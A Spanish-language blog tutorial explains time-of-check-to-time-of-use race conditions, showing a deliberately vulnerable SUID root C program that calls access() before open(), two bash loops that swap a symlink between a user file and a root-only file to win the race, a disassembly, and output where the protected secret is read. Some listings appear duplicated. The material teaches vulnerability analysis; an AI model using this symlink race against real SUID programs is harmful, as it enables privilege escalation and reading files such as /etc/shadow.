Cambiamos ahora de vulnerabilidad (si es que al hardcoding se le puede llamar así) y vamos a ver que son las vulnerabilidades de race conditions. Mucha documentación en español (bleg!) suele traducirlo como "condiciones de carrera" y me parece horrible, así que las llamaré race conditions.
Lo primero lo de siempre, ¿qué es una vulnerabilidad race condition?. Una vulnerabilidad de este tipo se da cuando una serie de eventos ocurren en un orden que no habíamos esperado y dando por tanto lugar a un comportamiento inesperado.
Dicho así queda un poco esotérico pero con un ejemplo lo veremos rápidamente. En un sistema multiproceso, tenemos un proceso que va a acceder a un fichero, pero antes comprueba que tiene permiso. Algo como esto.
if (tengo_permiso(fichero))
abrir_y_hacer_locuras(fichero)
else
print "¡Truhán!"Aquí existe una vulnerabilidad de race condition ya que, si después de ejecutar tengo_permiso() y antes de ejecutar abrir_y_hacer_locuras() (algo perfectamente posible en un sistema multiproceso), ese fichero cambia de permisos/estado pueden pasar cosas no previstas.
Pero como la idea del blog es hacerlo todo práctico (o al menos todo lo que pueda), vamos a ver este mismo ejemplo en la realidad real realista. Todo este escenario lo he sacado de una prueba de cierto wargame que hice hace ya tiempo, puedes cogerlo todo y probarlo en una máquina tuya para confirmar su funcionamiento.
Este es el programa con race condition.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void printFile(const char *path) {
int fd;
char byte;
if ((fd = open(path, O_RDONLY)) != -1) {
while (read(fd, &byte, sizeof(char)) != 0)
printf("%c", byte);
}
close(fd);
}
int main(int argc, char *argv[]) {
if (argc != 2)
printf("Usage: %s <filename>\n", argv[0]), exit(-1);
if (access(argv[1], R_OK) == 0)
printFile(argv[1]);
else
printf("Cannot access the file.\n"), exit(-1);
return 0;
}
Lo he hecho sobre la marcha, no es perfecto pero nos sirve para lo que queremos, al programa se le pasa un nombre de fichero e imprime su contenido. En negrita tenemos las dos llamadas a funciones que propician la race condition (vemos que es casi calcado a lo que puse anteriormente).
Una vez compilado este programa vamos a hacer un par de cosas antes de ejecutarlo, vamos a cambiarle los permisos para activarle el SUID (cosa no recomendada para ningún programa, salvo que se sepa bien que se está haciendo... y aún así no se recomienda). Además vamos a dárselo a root (OMFG! todas las malas prácticas juntas!).
$ sudo chown root race
$ sudo chmod 4511 race
$ ls -l
...
-r-s--x--x 1 root grupo 7376 2012-08-24 18:14 race
...
Ahora este programa lo puede ejecutar cualquier usuario y se ejecuta con permisos de root, pero en principio no permite leer cualquier archivo al que sólo root tenga acceso (a pesar del SUID), sino sólo a los que el usuario que lo ejecuta tenga acceso. Por ejemplo, si intentamos imprimir /etc/shadow ocurre lo siguiente.
$ ./race /etc/shadow
Cannot access the file.
Cannot access the file.
Esto es debido al comportamiento de la función access(). Bueno, pues la race condition está ahí, ¿cómo nos aprovechamos de ella?, ¿qué pasaría si al ejecutar access() se le está pasando cierto fichero al que el usuario que ejecuta sí puede acceder y cuando se ejecute open() es otro al que no puede acceder (o mejor dicho, que access() no le dejaría acceder)?, ¿se puede lograr esto?. La respuesta es sí, vamos a verlo.
Lo primero que voy a hacer es cambiar nuestro ejemplo de shadow por otro fichero ad-hoc.
$ echo "Secreto secretoso." > fichero_root
$ sudo chown root:root fichero_root
$ sudo chmod 700 fichero_root
$ sudo chmod 700 fichero_root
$ echo "foo" > fichero_usuario
$ ./race fichero_usuario
foo
$ ./race fichero_root Cannot access the file.
He creado dos ficheros, por un lado fichero_root el cual es de root y sólo root lo puede leer, por otro lado fichero_usuario que es de un usuario regular del sistema. Lo he hecho para que se viera como a este último fichero sí se puede acceder y al de root no.
En este caso, para aprovecharnos de la race condition vamos a jugar con enlaces simbólicos. Lo que vamos a hacer es crear un pequeño script que creará un enlace simbólico a un fichero que sí podemos acceder y luego lo cambia al que no podemos leer, y así continuamente.
#!/bin/bash
for ((;;)); do
ln -sf fichero_usuario link
ln -sf fichero_root link
rm -f link
done
Ahora por otro lado lo que vamos a hacer es ejecutar el programa para imprimir el contenido de link repetidamente.
#!/bin/bash
for ((;;)); do
./race link
done
for ((;;)); do
./race link
done
Cuando ejecutemos estos dos scripts el primero empezará a hacer que "link" vaya cambiando de fichero al que apunta, por otro lado el segundo script intentará imprimir el contenido de "link". Este último unas veces imprimirá "foo", cuando "link" apunte a fichero_usuario y otras veces imprimirá "Cannot access file" cuando apunte a fichero_root, pero habrá alguna vez, pocas, en que el orden de eventos será el siguiente:
- El primer script hace que link apunte a fichero_usuario.
- El sistema hará un cambio de contexto y pasará a ejecutarse el segundo script que a su vez ejecutará el programa con la vulnerabilidad. Este programa ejecutará la función access() y comprobará que efectivamente el programa puede acceder a fichero_usuario.
- El sistema hará otro cambio de contexto (inmediatamente antes de que se ejecute open() en el programa vulnerable), volverá el primer script a ejecutarse y hará que link apunte a fichero_root.
- El sistema volverá a hacer otro cambio de contexto (antes de que se elimine el link y antes de que vuelva a apuntar a fichero_usuario). Volverá a ejecutarse el programa vulnerable, continuando donde se había quedado, justo antes de abrir el fichero y después de haber ejecutado access(). Abrirá el fichero (que puede puesto que el programa se ejecuta con SUID), leerá su contenido y lo imprimirá.
$ sudo objdump -d race | egrep -A 37 "<main>"
08048572 <main>:
8048572: 55 push %ebp
8048573: 89 e5 mov %esp,%ebp
8048575: 83 e4 f0 and $0xfffffff0,%esp
8048578: 83 ec 10 sub $0x10,%esp
804857b: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
804857f: 74 22 je 80485a3 <main+0x31>
8048581: 8b 45 0c mov 0xc(%ebp),%eax
8048584: 8b 10 mov (%eax),%edx
8048586: b8 b0 86 04 08 mov $0x80486b0,%eax
804858b: 89 54 24 04 mov %edx,0x4(%esp)
804858f: 89 04 24 mov %eax,(%esp)
8048592: e8 7d fe ff ff call 8048414 <printf@plt>
8048597: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp)
804859e: e8 a1 fe ff ff call 8048444 <exit@plt>
80485a3: 8b 45 0c mov 0xc(%ebp),%eax
80485a6: 83 c0 04 add $0x4,%eax
80485a9: 8b 00 mov (%eax),%eax
80485ab: c7 44 24 04 04 00 00 movl $0x4,0x4(%esp)
80485b2: 00
80485b3: 89 04 24 mov %eax,(%esp)
80485b6: e8 49 fe ff ff call 8048404 <access@plt>
80485bb: 85 c0 test %eax,%eax
80485bd: 75 17 jne 80485d6 <main+0x64>
80485bf: 8b 45 0c mov 0xc(%ebp),%eax
80485c2: 83 c0 04 add $0x4,%eax
80485c5: 8b 00 mov (%eax),%eax
80485c7: 89 04 24 mov %eax,(%esp)
80485ca: e8 45 ff ff ff call 8048514 <printFile>
80485cf: b8 00 00 00 00 mov $0x0,%eax
80485d4: c9 leave
80485d5: c3 ret
80485d6: c7 04 24 c6 86 04 08 movl $0x80486c6,(%esp)
80485dd: e8 52 fe ff ff call 8048434 <puts@plt>
80485e2: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp)
80485e9: e8 56 fe ff ff call 8048444 <exit@plt>
80485ee: 90 nop
80485ef: 90 nop
08048572 <main>:
8048572: 55 push %ebp
8048573: 89 e5 mov %esp,%ebp
8048575: 83 e4 f0 and $0xfffffff0,%esp
8048578: 83 ec 10 sub $0x10,%esp
804857b: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
804857f: 74 22 je 80485a3 <main+0x31>
8048581: 8b 45 0c mov 0xc(%ebp),%eax
8048584: 8b 10 mov (%eax),%edx
8048586: b8 b0 86 04 08 mov $0x80486b0,%eax
804858b: 89 54 24 04 mov %edx,0x4(%esp)
804858f: 89 04 24 mov %eax,(%esp)
8048592: e8 7d fe ff ff call 8048414 <printf@plt>
8048597: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp)
804859e: e8 a1 fe ff ff call 8048444 <exit@plt>
80485a3: 8b 45 0c mov 0xc(%ebp),%eax
80485a6: 83 c0 04 add $0x4,%eax
80485a9: 8b 00 mov (%eax),%eax
80485ab: c7 44 24 04 04 00 00 movl $0x4,0x4(%esp)
80485b2: 00
80485b3: 89 04 24 mov %eax,(%esp)
80485b6: e8 49 fe ff ff call 8048404 <access@plt>
80485bb: 85 c0 test %eax,%eax
80485bd: 75 17 jne 80485d6 <main+0x64>
80485bf: 8b 45 0c mov 0xc(%ebp),%eax
80485c2: 83 c0 04 add $0x4,%eax
80485c5: 8b 00 mov (%eax),%eax
80485c7: 89 04 24 mov %eax,(%esp)
80485ca: e8 45 ff ff ff call 8048514 <printFile>
80485cf: b8 00 00 00 00 mov $0x0,%eax
80485d4: c9 leave
80485d5: c3 ret
80485d6: c7 04 24 c6 86 04 08 movl $0x80486c6,(%esp)
80485dd: e8 52 fe ff ff call 8048434 <puts@plt>
80485e2: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp)
80485e9: e8 56 fe ff ff call 8048444 <exit@plt>
80485ee: 90 nop
80485ef: 90 nop
Vemos que entre la llamada a access() y la llamada a printFile() (que contiene la llamada a open()) existen varias instrucciones (y aún hay más contando con el comienzo de printFile()). Aunque poco probable, si el sistema ejecuta un cambio de contexto en ese corto período de tiempo y se da la ejecución de eventos que pusimos antes, accederemos a la información que no debíamos. Dado que la probabilidad de que el cambio de contexto se de justo ahí, lo que hacemos es hacer muchas veces el experimento (ejecutar ambos programas) y en algún momento se dará el orden, ¿y es un tiempo razonable?. Veamos:
$ ./crea_enlaces.sh &
[1] 3129
$ time ./muestra_contenido.sh > results.txt
^C
real 0m5.225s
user 0m0.244s
sys 0m0.880s
^C
real 0m5.225s
user 0m0.244s
sys 0m0.880s
$ egrep "Secreto" results.txt
Secreto secretoso.
Secreto secretoso.
$ wc -l results.txtSecreto secretoso.
Secreto secretoso.
9013 results.txt
Pues aquí tenemos la respuesta. Estuve 5 segundos más o menos dejando correr los scripts y, efectivamente, se llegó a acceder a la información que no se debía ("Secreto secretoso.") hasta 2 veces. La cantidad de veces que se ejecuto el programa vulnerable fue 9013 veces (ya que en cada ejecución imprime una línea). Vemos que la probabilidad del cambio de contexto ahí en medio es bastante baja, apenas 2/9013... pero los ordenadores de hoy en día son muy rápidos :), sólo tenemos que repetir mucho el experimento... tampoco tardamos tanto :P.
Bueno, pues hasta aquí la teoría sobre race conditions, no son la vulnerabilidad más divertida y pueden ser relativamente difíciles de encontrar pero creía que debía hablar de ellas y explicarlas.
Saludos.
Muchas gracias Ole!
ResponderEliminarLa verdad es que no tenia el concepto de race conditions muy claro pero ahora ya puedo dormir tranquilo ;)
Me alegro que el curso haya servido para alguien :)
ResponderEliminar